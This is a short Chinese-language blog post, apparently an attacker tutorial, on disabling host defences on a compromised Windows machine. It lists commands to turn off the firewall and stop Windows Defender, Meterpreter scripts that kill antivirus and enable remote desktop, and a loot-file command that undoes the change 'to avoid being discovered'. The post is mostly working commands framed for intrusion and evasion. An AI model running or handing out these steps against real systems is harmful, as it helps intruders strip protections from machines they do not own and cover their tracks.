主机防御服务启停

文章前言

好长时间没有更新博客了，多少有点对不住各位，本次更新一篇关于"主机防御服务启停"的文章，希望有用~

关闭防火墙

初始状态：防火墙开启

执行以下命令关闭防火墙：

netsh advfirewall set allprofiles state off   //管理员以及以上权限(提权即可)

关闭Denfend

初始状态：启用状态

之后执行以下命令进行关闭：

net stop windefend

 

关闭杀毒软件

run killav
run post/windows/manage/killava

开启远程桌面

初始状态：远程桌面关闭

run post/windows/manage/enable_rdp

再次查看状态已成功修改为运行远程连接：

之后我们可以利用上面开启远程桌面时生成的文件关闭远程桌面连接，避免被发现：

run multi_console_command -r /root/.msf4/loot/20200918170851_default_192.168.188.3_host.windows.cle_935765.txt

再次查看又变成了